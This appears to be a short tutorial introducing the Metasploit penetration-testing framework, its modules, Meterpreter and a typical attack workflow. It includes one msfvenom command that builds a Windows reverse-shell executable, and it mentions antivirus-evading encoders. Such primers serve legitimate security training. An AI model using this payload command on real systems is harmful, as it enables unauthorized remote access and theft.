

What is Metasploit?

Metasploit is an **open-source framework** that provides tools and resources to:

- Discover and verify vulnerabilities
- Develop and run exploits
- Maintain access on compromised systems
- Generate payloads and shellcodes
- Perform post-exploitation tasks

It is available as:

- **Metasploit Framework** (open source)
- **Metasploit Pro** (paid version with GUI and automation features)

Key Components of Metasploit

Below are the main components of the Metasploit Framework:

1. Modules

These are reusable code blocks used to carry out various actions:

- **Exploit Modules:** Code that takes advantage of a vulnerability.
- **Payloads:** Code that runs on the target machine after successful exploitation (like a reverse shell).
- **Auxiliary Modules:** Used for scanning, fuzzing, sniffing, or DoS attacks (e.g., port scanning, banner grabbing).
- **Post Modules:** Run on a compromised system to gather information, escalate privileges, etc.
- **Encoders:** Obfuscate payloads to bypass antivirus.
- **NOP Generators:** Add No Operation instructions to help avoid detection or adjust shellcode size.

2. msfconsole

- The **main command-line interface** to interact with the Metasploit Framework.
- Offers full access to all modules and features.
- Allows scripting and automation of exploits.

3. Meterpreter

- A **powerful payload** that provides an interactive shell.
- Allows post-exploitation activities like:
 - File browsing
 - Screenshot capturing
 - Webcam access
 - Password dumping
 - Keylogging

4. msfvenom

- A command-line tool used to **generate and encode payloads**.
- Can create **malicious files** (.exe, .apk, .docm, etc.).

- Combines msfpayload and msfencode into a single tool.

Example:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > shell.exe
```

Basic Workflow of Metasploit

1. **Information Gathering** – Use auxiliary modules or Nmap.
2. **Vulnerability Scanning** – Identify weaknesses in target systems.
3. **Exploit Selection** – Choose an exploit based on the vulnerability.
4. **Payload Configuration** – Define what to execute on the target.
5. **Exploitation** – Launch the exploit and gain access.
6. **Post-Exploitation** – Collect data, maintain access, or escalate privileges.

Note:

Metasploit should **only be used for ethical purposes**, such as:

- Testing your own systems
- Red teaming
- Cybersecurity training and labs

Unauthorized use is illegal.